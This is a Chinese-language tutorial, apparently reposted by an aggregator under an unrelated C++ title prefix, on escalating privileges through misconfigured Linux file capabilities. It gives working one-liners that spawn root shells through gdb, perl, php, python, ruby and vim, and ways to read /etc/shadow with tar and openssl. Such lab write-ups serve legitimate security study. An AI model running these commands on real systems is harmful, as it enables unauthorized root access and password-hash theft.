c++ 读取访问权限冲突_Linux系统利用可执行文件的Capabilities实现权限提升
一、操作目的和應用場景
Capabilities機制是在Linux內核2.2之后引入的,原理很簡單,就是將之前與超級用戶root(UID=0)關聯的特權細分為不同的功能組,Capabilites作為線程(Linux并不真正區分進程和線程)的屬性存在,每個功能組都可以獨立啟用和禁用。其本質上就是將內核調用分門別類,具有相似功能的內核調用被分到同一組中。
這樣一來,權限檢查的過程就變成了:在執行特權操作時,如果線程的有效身份不是root,就去檢查其是否具有該特權操作所對應的capabilities,并以此為依據,決定是否可以執行特權操作。
如果Capabilities設置不正確,就會讓攻擊者有機可乘,實現權限提升。
二、平臺及工具版本
host系統:kali linux 2020
虛擬機管理程序:virtualbox
虛擬機:CentOS 7
三、操作步驟
(一)Linux Capabilities管理
1、 Linux系統管理Capabilities的工具
Linux系統中主要提供了兩種工具來管理capabilities:libcap和libcap-ng。
libcap提供了getcap和setcap兩個命令來分別查看和設置文件的capabilities,同時還提供了capsh來查看當前shell進程的capabilities。
libcap-ng更易于使用,使用同一個命令filecap來查看和設置capabilities。
2、 Capabilities的管理方法
(1)設置Capability
舉個例子,安裝wireshark軟件后,默認情況下,普通用戶無法對網卡實施抓包操作。這是因為普通用戶不具備相應的權限。
為解決此問題,可以為/usr/bin/dumpcap文件授予抓包相關的capabilities:
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
命令執行后重新啟動wireshark,就可以抓包了。
(2)查看文件的Capability
getcap /usr/bin/dumpcap ?//查看文件的capabilities
(3)刪除文件的capabilities
setcap -r /usr/bin/dumpcap
(二)利用Capabilities實現權限提升
現在假設管理員對一些可執行文件設置了capabilities。測試人員通過下面的命令查找這些文件:
getcap -r / 2>/dev/null
之后我們針對其中的一部分程序嘗試提權。
請大家注意,從上面查找結果中可以看到,很多文件的capability被設置為cap_setuid。但是文件capabilities中的cap_setuid和文件的suid標志位之間是沒有關系的:
設置了cap_setuid的capability的文件并沒有設置suid。
設置了suid的程序也不擁有cap_setuid的capability。
1、 gdb
gdb -nx -ex ‘python import os; os.setuid(0)’ -ex ‘!sh’ -ex quit
提權成功,獲取了root shell。
2、 perl
perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec “/bin/sh”;’
提權成功,獲取了root shell。
3、 php
php -r “posix_setuid(0); system(‘/bin/sh’);”
在kali linux上提權成功,獲取了root shell。
在CentOS 7系統中安裝的低版本php無法提權:
4、 python
python -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’
提權成功,獲取了root shell。
5、 ruby
ruby -e ‘Process::Sys.setuid(0); exec “/bin/sh”‘
提權成功,獲取了root shell。
6、 rvim
rvim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’
執行后獲取root shell:
7、 vim
vim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’
執行后獲得root shell:
8、 tar
cap_dac_read_search可以繞過文件的讀權限檢查以及目錄的讀/執行權限的檢查。
利用此特性我們可以讀取系統中的敏感信息。
tar cvf shadow.tar /etc/shadow ?//創建壓縮文件
tar -xvf shadow.tar ?//解壓縮
cd etc ?//進入解壓縮的目錄
chmod +r shadow ?//賦予讀權限
cat shadow | grep root ?//查看shadow文件的內容
這樣就讀取了/etc/shadow文件的內容,zip等程序也可以達到相同的目標,過程不再贅述。
9、 openssl
可以看到,openssl的capability被設置為空。下面我們嘗試使用openssl讀取/etc/shadow文件。
//使用openssl生成證書
cd /tmp
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
//啟動web服務器,監聽1337端口
cd /
openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP
//訪問本機的web服務,讀取/etc/shadow文件
curl -k “https://127.0.0.1:1337/etc/shadow“
提權成功。
四、參考網址
https://gtfobins.github.io/
https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099
精彩推薦
總結
以上是生活随笔為你收集整理的c++ 读取访问权限冲突_Linux系统利用可执行文件的Capabilities实现权限提升的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 浏览器无法运行java_window_浏
- 下一篇: alpine登陆mysql_如何构建一个